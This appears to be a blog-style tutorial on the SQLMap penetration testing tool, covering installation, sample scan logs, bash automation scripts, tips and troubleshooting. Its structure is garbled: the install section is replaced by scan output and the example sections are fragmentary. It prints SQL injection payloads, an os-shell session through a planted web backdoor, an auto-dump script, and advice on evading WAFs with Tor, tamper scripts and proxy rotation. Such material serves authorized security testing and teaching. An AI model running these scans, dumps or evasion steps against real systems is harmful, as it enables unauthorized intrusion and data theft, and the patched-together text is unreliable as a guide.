SQLMap Tool: Installation, Usage, and Troubleshooting
Abdul Wahab Junaid
SQLMap is a free, open-source penetration testing tool written in Python that automates the process of detecting and exploiting SQL injection (SQLi) vulnerabilities and taking over database servers. It was created by Bernardo Damele and Miroslav Stampar and is maintained as an active open-source project on GitHub. SQLMap is considered the de-facto industry standard for automated SQL injection testing and is included by default in Kali Linux, Parrot OS, and most other penetration testing distributions.
SQLMap comes with a powerful detection engine capable of identifying six different types of SQL injection:
Boolean-based blind — infers true/false conditions from differences in page content.
Time-based blind — infers true/false conditions from response time delays (e.g., SLEEP()).
Error-based — extracts data directly from database error messages.
UNI ON query-based — appends a UNI ON SELECT statement to retrieve data in the same response.
Out-of-band (OOB) — exfiltrates data through DNS or HTTP requests initiated by the database.
It supports a very broad set of database management systems, including MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Amazon Redshift, Vertica, Cache, H2, MonetDB, Presto, Apache Derby, and CockroachDB.
Beyond simple data extraction, SQLMap can fingerprint the back-end DBMS and its version, dump entire databases/tables/columns, read and write files on the underlying filesystem (when privileges allow), execute arbitrary operating-system commands via --os-shell or --os-pwn, establish an out-of-band connection, crack password hashes, and enumerate users, privileges, roles, and databases. It also includes a built-in tamper script engine to bypass Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS).
Installation
SQLMap comes pre-installed on Kali Linux. You can verify and update it as follows.
Verify Pre-Installed Version (Kali Linux)
sqlmap --version
Update via APT (Kali Linux)
sudo apt update
sudo apt install sqlmap -y
Install/Update from Source (Git — Latest Development Version)
___
__H__
___ ___[.]_____ ___ ___ {1.8.11#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
[*] starting @ 10:41:02 /2026-07-19/
[10:41:02] [INFO] testing connection to the target URL
[10:41:03] [INFO] testing if the target URL content is stable
[10:41:03] [INFO] target URL content is stable
[10:41:03] [INFO] testing if GET parameter 'artist' is dynamic
[10:41:03] [INFO] GET parameter 'artist' appears to be dynamic
[10:41:04] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable
[10:41:04] [INFO] testing for SQL injection on GET parameter 'artist'
[10:41:05] [INFO] GET parameter 'artist' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[10:41:07] [INFO] GET parameter 'artist' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[10:41:09] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 1=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: artist=1 AND (SELECT 2*(IF((1=1),1,0)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: artist=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)
---
[10:41:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 7.4.3, Apache 2.4.41
back-end DBMS: MySQL >= 5.0
[10:41:10] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 10:41:10 /2026-07-19/
[INFO] GET parameter 'id' is 'boolean-based blind' injectable
[INFO] the back-end DBMS is MySQL
[10:42:11] [INFO] fetching current user and database is skipped in batch mode without -a/--all
[INFO] testing if POST parameter 'username' is dynamic
[INFO] POST parameter 'username' appears to be 'AND boolean-based blind' injectable
available databases [2]:
[*] webapp
[*] information_schema
Example 7 — Testing with Cookie-Based Session and Level/Risk Tuning
[INFO] the back-end DBMS is MySQL
[INFO] going to use a web backdoor for command execution
[INFO] the web application directory is writable
os-shell> whoami
do you want to retrieve the command standard output? [Y/n] Y
command standard output: 'www-data'
[11:20:11] [INFO] starting crawler for target URL 'http://target.com'
[11:20:14] [INFO] searched for 12 pages, 3 with forms
[11:20:16] [INFO] found 1 injectable form: /search.php (POST)
Common Use Cases
Vulnerability confirmation during authorized web application penetration tests to prove exploitability of a suspected SQLi finding.
Database enumeration and data extraction in CTFs and lab environments (DVWA, bWAPP, PortSwigger Academy).
Post-injection OS command execution to demonstrate full-chain impact (RCE via SQLi) in a red team engagement report.
Credential harvesting from users/admin tables to demonstrate credential exposure risk.
WAF/IPS bypass testing using tamper scripts to assess the effectiveness of deployed web application firewalls.
Mass scanning of many endpoints (via -m) during large-scope authorized assessments.
API/JSON parameter testing using --data with JSON bodies to test REST APIs for injectable fields.
Second-order SQLi discovery, where injected input is stored and later executed in a different request/page.
Automation with Bash
Simple Batch Scanner Script
#!/bin/bash
# scan_targets.sh - Automate sqlmap scanning across a list of URLs
TARGET_FILE="targets.txt"
OUTPUT_DIR="sqlmap_results_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"
while IFS= read -r url; do
echo "[*] Scanning: $url"
domain=$(echo "$url" | awk -F/ '{print $3}')
sqlmap -u "$url" --batch --level=3 --risk=2 --dbs \
--output-dir="$OUTPUT_DIR" \
2>&1 | tee "$OUTPUT_DIR/${domain}.log"
echo "[*] Done: $url"
echo "----------------------------------------"
done < "$TARGET_FILE"
echo "[+] All scans complete. Results in $OUTPUT_DIR"
Run it:
chmod +x scan_targets.sh
./scan_targets.sh
Automated Dump-If-Vulnerable Pipeline
#!/bin/bash
# auto_dump.sh - Detect SQLi, then automatically dump if found
URL="$1"
if [ -z "$URL" ]; then
echo "Usage: $0 <target-url>"
exit 1
fi
echo "[*] Testing $URL for SQL injection..."
sqlmap -u "$URL" --batch --level=2 --risk=1 > /tmp/sqlmap_scan.log 2>&1
if grep -q "is vulnerable" /tmp/sqlmap_scan.log || grep -q "injectable" /tmp/sqlmap_scan.log; then
echo "[+] Target appears injectable. Extracting databases..."
sqlmap -u "$URL" --batch --dbs
else
echo "[-] No injection point found."
fi
Cron-Based Recurring Authorized Scan
# crontab -e
# Run authorized weekly scan every Monday at 2 AM against staging environment
0 2 * * 1 /usr/bin/sqlmap -u "http://staging.internal.corp/id.php?id=1" --batch --level=3 --risk=2 --output-dir=/var/log/sqlmap >> /var/log/sqlmap/cron.log 2>&1
Tips and Best Practices
Always start with --level=1 --risk=1 and increase gradually; higher levels/risks generate many more requests and can trigger WAFs, rate limits, or even data modification on risk 3.
Use --batch for unattended automation, but review results manually for false positives before reporting.
Prefer -r request.txt (a raw HTTP request saved from Burp Suite) over manually crafting -u/--data/--cookie flags — it’s far less error-prone for complex requests with tokens/headers.
Use --random-agent and --delay to reduce fingerprinting and avoid overwhelming the target server.
Save session state with -s session.sqlite so long scans can be resumed without re-running detection.
Use --flush-session if the target application has changed and cached session data is stale/misleading.
Combine --dbms=mysql (or the correct DBMS) when you already know the back end — it speeds up testing significantly by skipping irrelevant payloads.
Use --tamper scripts thoughtfully — apply only the ones relevant to the WAF/filter you’re facing, chaining too many can break payload syntax.
Always test against a staging/lab copy first if --risk=3 (destructive tests, e.g. OR TIME-BASED heavy queries) is required.
Use --technique= to narrow down which SQLi types to test, reducing time when you already know a specific technique works.
Troubleshooting
Problem
Cause
Solution
unable to connect to the target URL
Target down, wrong URL, network/proxy issue
Verify URL in browser; check --proxy; check --timeout
parameter appears to be dynamic but no injection found
Insufficient level/risk, WAF filtering payloads
Increase --level/--risk; try --tamper scripts
Scan hangs indefinitely
Target rate-limiting or unstable connection
Add --timeout, --retries, --unstable
all tested parameters do not appear to be injectable
Parameter genuinely not injectable, or requires POST/cookie testing
Test other injection points: cookies, headers, JSON body via --data
False positive boolean-based detection
Unstable page content (ads, timestamps)
Use --text-only or --string/--not-string for stable markers
os-shell fails to upload web backdoor
Web root not writable, wrong absolute path guessed
Manually specify --web-root=/var/www/html
Session data seems outdated after app changes
Cached .sqlite session file
Run with --flush-session
WAF blocking all requests (403s)
IP-based blocking / signature detection
Use --tor, --tamper, rotate --proxy, add delay
ERROR: invalid URL
Missing scheme (http:///https://) or malformed URL